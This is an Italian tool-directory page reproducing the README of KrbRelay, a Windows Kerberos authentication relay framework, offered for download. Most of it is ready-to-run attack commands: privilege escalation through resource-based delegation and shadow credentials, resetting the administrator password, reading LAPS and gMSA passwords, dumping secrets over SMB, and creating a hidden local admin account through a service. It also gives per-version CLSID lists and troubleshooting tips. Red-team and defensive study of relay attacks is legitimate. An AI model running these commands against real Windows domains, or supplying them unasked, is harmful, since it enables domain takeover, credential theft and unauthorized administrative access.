Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
KrbRelay — Framework di relay Kerberos per ambienti Windows che abilita il relay di autenticazione, l'escalation dei privilegi e il movimento laterale tramite i protocolli LDAP, SMB, HTTP e RPC. | Kitploit
Strumenti/GitHubGitHub/cube0x0/krbrelay
Escalation di PrivilegiExploitMovimento LateraleAutenticazioneRed Teaming
GitHubcube0x0/krbrelay

KrbRelay

Framework di relay Kerberos per ambienti Windows che abilita il relay di autenticazione, l'escalation dei privilegi e il movimento laterale tramite i protocolli LDAP, SMB, HTTP e RPC.

Vedi Repository
9531314 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

KrbRelay

Relaying cani a tre teste. Maggiori dettagli su https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html e https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

Dovrebbe funzionare sulla maggior parte dei sistemi Windows completamente aggiornati. Potrebbero esserci difficoltà con sistemi Server OS in ambienti lab a causa del firewall che blocca il resolver OXID; tuttavia, molto probabilmente non sarà un problema durante gli impegni reali, lo stesso vale per i CLSID.

image-20220213094644590

Protocolli e Funzionalità Supportati

Alcuni protocolli sono più completi di altri, le PR sono benvenute.

  • LLMNR

  • LDAP/LDAPS

  • HTTP

    • EWS
  • SMBv2

  • RPC over SMB

    • MS-SAMR
    • MS-SCMR
    • MS-RPRN
    • MS-RRP
    • MS-LSAT/MS-LSAD

Esempi

root@kitploit:~
# LPE
.\KrbRelay.exe -spn ldap/dc01.htb.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd S-1-5-21-2982218752-1219710089-3973213059-1606
.\KrbRelay.exe -spn ldap/dc01.htb.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -shadowcred

# Cross-Session LDAP
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -shadowcred
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -shadowcred win2016$
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -rbcd S-1-5-21-2982218752-1219710089-3973213059-1606 win2016$
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-groupmember srv_admins domain_user
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -laps
.\KrbRelay.exe -spn ldap/dc02.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ssl -gmsa
.\KrbRelay.exe -spn ldap/dc02.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ssl -reset-password administrator Password123!

# Cross-Session HTTP
.\KrbRelay.exe -spn http/exchange.htb.local -endpoint EWS/Exchange.asmx -ssl -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ews-search beta,test
.\KrbRelay.exe -spn http/exchange.htb.local -endpoint EWS/Exchange.asmx -ssl -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ews-delegate [email protected]
.\KrbRelay.exe -spn http/win2016.htb.local -endpoint iisstart.htm -proxy -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182

# Cross-Session SMB
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -console
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-privileges (([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value)
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -secrets 
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -service-add addUser "C:\windows\system32\cmd.exe /c """"C:\windows\system32\net user cube Password123! /add && C:\windows\system32\net localgroup administrators cube /add"""""

# LLMNR
.\KrbRelay.exe -llmnr -spn 'cifs/win2019.htb.local' -secrets

# NTLM (see https://github.com/antonioCoco/RemotePotato0 for CLSIDs)
.\KrbRelay.exe -session 1 -clsid 0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4 -ntlm
.\KrbRelay.exe -session 1 -clsid 0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4 -ntlm -downgrade

CheckPort.exe è uno strumento C# che può essere utilizzato per scoprire le porte disponibili per il resolver OXID.

root@kitploit:~
C:\Users\domain_user\Desktop\KrbRelay\CheckPort\bin\Release\CheckPort.exe
[*] Looking for available ports..
[*] Port: 1024 is available

CLSID

Dovremo smaterializzare il nostro OBJREF all'interno di un processo che consenta autenticazioni sulla rete; questo può essere verificato osservando il Impersonation Level

  • RPC_C_IMP_LEVEL_DEFAULT # Non funzionerà
  • RPC_C_IMP_LEVEL_ANONYMOUS # Non funzionerà
  • RPC_C_IMP_LEVEL_IDENTIFY # Funziona per LDAP
  • RPC_C_IMP_LEVEL_IMPERSONATE # Richiesto per SMB
  • RPC_C_IMP_LEVEL_DELEGATE

Quando si relaying verso LDAP o qualsiasi altro servizio con la firma abilitata ma non obbligatoria, dovremmo anche verificare che il Authentication Level del processo sia impostato su RPC_C_AUTHN_LEVEL_CONNECT.

I processi in esecuzione sotto NT Authority\Network service utilizzeranno l'account SYSTEM quando si autenticano sulla rete.

Strumento per scoprire i CLSID: https://github.com/tyranid/oleviewdotnet

root@kitploit:~
Import-Module .\OleViewDotNet.psd1
Get-ComDatabase -SetCurrent
$comdb = Get-CurrentComDatabase
$clsids = (Get-ComClass).clsid
Get-ComProcess -DbgHelpPath 'C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbghelp.dll' | select ProcessId,ExecutablePath,Name,AppId,User,AuthnLevel,ImpLevel

Windows 10 1903

root@kitploit:~
# Relay di sistema
0bae55fc-479f-45c2-972e-e951be72c0c1 # RPC_C_IMP_LEVEL_IDENTIFY
90f18417-f0f1-484e-9d3c-59dceee5dbd8 # RPC_C_IMP_LEVEL_IMPERSONATE 

# Relay cross-sessione
0289a7c5-91bf-4547-81ae-fec91a89dec5 # RPC_C_IMP_LEVEL_IMPERSONATE 
1f87137d-0e7c-44d5-8c73-4effb68962f2 # RPC_C_IMP_LEVEL_IMPERSONATE 
73e709ea-5d93-4b2e-bbb0-99b7938da9e4 # RPC_C_IMP_LEVEL_IMPERSONATE 
9678f47f-2435-475c-b24a-4606f8161c16 # RPC_C_IMP_LEVEL_IMPERSONATE 
9acf41ed-d457-4cc1-941b-ab02c26e4686 # RPC_C_IMP_LEVEL_IMPERSONATE 
ce0e0be8-cf56-4577-9577-34cc96ac087c # RPC_C_IMP_LEVEL_IMPERSONATE 

Server 2019

root@kitploit:~
# Relay di sistema
90f18417-f0f1-484e-9d3c-59dceee5dbd8 # RPC_C_IMP_LEVEL_IMPERSONATE

# Relay cross-sessione
354ff91b-5e49-4bdc-a8e6-1cb6c6877182 # RPC_C_IMP_LEVEL_IMPERSONATE 
38e441fb-3d16-422f-8750-b2dacec5cefc # RPC_C_IMP_LEVEL_IMPERSONATE 
f8842f8e-dafe-4b37-9d38-4e0714a61149 # RPC_C_IMP_LEVEL_IMPERSONATE 

Server 2016

root@kitploit:~
# Relay di sistema
90f18417-f0f1-484e-9d3c-59dceee5dbd8 # RPC_C_IMP_LEVEL_IMPERSONATE

# Relay cross-sessione
0289a7c5-91bf-4547-81ae-fec91a89dec5 # RPC_C_IMP_LEVEL_IMPERSONATE
1f87137d-0e7c-44d5-8c73-4effb68962f2 # RPC_C_IMP_LEVEL_IMPERSONATE
5f7f3f7b-1177-4d4b-b1db-bc6f671b8f25 # RPC_C_IMP_LEVEL_IMPERSONATE
73e709ea-5d93-4b2e-bbb0-99b7938da9e4 # RPC_C_IMP_LEVEL_IMPERSONATE
9678f47f-2435-475c-b24a-4606f8161c16 # RPC_C_IMP_LEVEL_IMPERSONATE
98068995-54d2-4136-9bc9-6dbcb0a4683f # RPC_C_IMP_LEVEL_IMPERSONATE
9acf41ed-d457-4cc1-941b-ab02c26e4686 # RPC_C_IMP_LEVEL_IMPERSONATE
bdb57ff2-79b9-4205-9447-f5fe85f37312 # RPC_C_IMP_LEVEL_IMPERSONATE
ce0e0be8-cf56-4577-9577-34cc96ac087c # RPC_C_IMP_LEVEL_IMPERSONATE

Codici di errore

Non funziona la prima volta? Riprova e poi controlla questi codici di errore. Se intendi aprire una Issue, incolla l'intero output e input.

Firewall che blocca il resolver OXID

root@kitploit:~
System.Runtime.InteropServices.COMException (0x800706BA): The RPC server is unavailable. (Exception from HRESULT: 0x800706BA)

CLSID errato

root@kitploit:~
System.Runtime.InteropServices.COMException (0x80080004): Bad path to object (Exception from HRESULT: 0x80080004 (CO_E_BAD_PATH))

o

root@kitploit:~
System.Runtime.InteropServices.COMException (0x80070422): The service cannot be started, either because it is disabled or because it has no enabled devices associated with it. (Exception from HRESULT: 0x80070422)

Problemi Kerberos (Tipo di autenticazione non riconosciuto), Funzionerà dopo riavvio/sincronizzazione orologio

root@kitploit:~
System.Runtime.InteropServices.COMException (0x800706D3): The authentication service is unknown.

Un apReq valido inizia con 0x60, controlla il tuo ambiente e i parametri

root@kitploit:~
[*] apReq: 05000b0710000000db003300020<SNIP>

Livello di impersonificazione o livello di autenticazione del CLSID troppo basso

root@kitploit:~
[*] fContextReq: Delegate, MutualAuth, UseDceStyle, Connection
System.UnauthorizedAccessException: Access is denied.

Access is denied.

Riconoscimenti

  • Vletoux per aver iniziato RPCForSMBLibrary
  • James Forshaw per aver introdotto il relaying Kerberos e NtApiDotNet
  • TalAloni per SMBLibrary
  • MichaelGrafnetter per DSInternals
  • Kevin Robertson per Inveigh
  • decoder_it e splinter_code per RemotePotato0
Scarica lo strumento